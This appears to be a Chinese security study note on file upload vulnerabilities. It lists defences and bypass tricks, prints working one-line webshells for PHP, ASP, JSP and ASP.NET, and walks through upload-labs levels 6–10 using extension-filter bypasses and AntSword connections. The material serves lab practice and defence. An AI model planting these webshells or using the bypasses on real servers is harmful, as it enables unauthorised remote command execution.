目录
一、文件上传防御手段及绕过手段总结
文件上传防御手段
1,输入验证和过滤:
验证用户输入的文件名、扩展名等。
过滤不允许的字符或特殊符号。
2,文件类型限制:
只允许特定文件类型(如图片、文档等)。
使用MIME类型进行校验。
3,文件大小限制:
设置最大文件大小限制,防止大文件攻击。
4,文件内容扫描:
对上传的文件进行恶意代码扫描,如病毒、木马等。
5,隐藏文件名:
将上传的文件重命名为唯一ID而非原始名称。
6,临时存储:
将上传文件存储在临时目录,而不是直接写入目标位置。
7,权限控制:
确保只有授权用户可以上传文件,并且只能上传到指定位置。
8,错误处理:
避免详细错误信息暴露给攻击者。
9,安全配置:
配置Web服务器以限制对文件系统的访问。
文件上传绕过手段
1,文件名伪装:
使用URL编码或十六进制编码隐藏真实文件名。
2,文件扩展名欺骗:
改变文件扩展名使其看起来像合法文件。
3,多个小文件合并:
分割大文件为多个小文件上传,以绕过大小限制。
4,文件内容压缩:
将恶意文件压缩后上传,解压后执行。
5,文件元数据利用:
利用文件的元数据(如EXIF)包含恶意信息。
6,文件路径遍历:
尝试上传带有../ 的文件名,尝试遍历文件系统。
7,文件上传漏洞利用:
找到Web应用中的已知文件上传漏洞,利用之。
8,文件上传代理:
通过第三方服务或代理来上传文件,绕过直接限制。
9,文件上传加密:
加密文件内容,然后再上传,解密后执行。
10,文件上传劫持:
在上传过程中劫持文件内容,将恶意代码植入其中。
二、文件上传常用一句话木马
PHP 一句话木马:
<?php @eval($_POST['cmd']);?>
ASP 一句话木马:
<%eval(Request.Item["cmd"],”unsafe”);%>
JSP 一句话木马:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
ASP.NET 一句话木马:
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
三、文件上传无回显如何查找webshell地址
检查服务器日志
查看HTTP请求日志,特别是上传文件失败或成功的记录
可能会发现可疑的URL或文件路径
异常检测
监控网站的服务器错误页面
寻找异常报告,可能揭示webshell位置
文件名检测
搜索服务器目录下特殊命名规则的文件
如包含特定字符组合的文件名
网络扫描
利用安全审计工具分析网络流量
查找未授权访问或命令执行的行为
黑盒测试
向服务器发送各种文件上传请求
观察是否有意外响应,可能暴露webshell位置
四、文件上传表单的无参/有参情况下构造表单
(一)文件上传表单的无参情况下构造表单
在文件上传表单的无参(或说是“简单”或“基础”)情况下,构造表单通常指的是创建一个HTML表单,该表单允许用户选择文件并将其上传到服务器,而不依赖于额外的参数(如JavaScript动态生成的参数、隐藏字段等)
(二)文件上传表单的有参情况下构造表单
在文件上传表单的“有参”情况下,构造表单意味着除了基本的文件上传字段外,还包括其他表单元素(如文本输入框、选择框等),这些元素作为参数与文件一起提交到服务器。这些参数可以用于各种目的,比如指定文件上传后的存储路径、文件类型验证、用户身份验证等
五、 upload-labs靶场通关第6-第10关
Pass-06
查看提示和源码,知道本关是黑名单过滤并且没有使用strtolower()函数,可以使用大小写绕过黑名单
可以修改文件后缀名,将后缀名大写,修改成1.PHp文件,上传成功
Pass-07
查看提示和源码,还是黑名单但源码里没有首尾去空,可以利用空格绕过
上传图片,用bp进行抓包,将如下所示的文件名后面加上几个空格绕过上传
修改后发送,图片上传成功
复制图片链接到蚁剑进行连接
结果
Pass-08
查看提示,可知禁止上传所有可以解析的后缀
用bp抓包,在文件名后缀添加逗号
发送,查看,上传成功
Pass-09
查看提示
抓包改写,上传php文件,在.php后加::$DATA
上传成功,点击复制图片地址,单独打开图片链接
发现报错404,删除后缀
页面打开
通过蚁剑链接
Pass-10
查看提示显示只能上传.jpg|.png|.gif后缀的文件
上传php文件,通过bp抓包,并修改php后缀,加上. .绕过
上传成功:
复制照片地址打开,正常绕过成功
蚁剑添加数据测试连接成功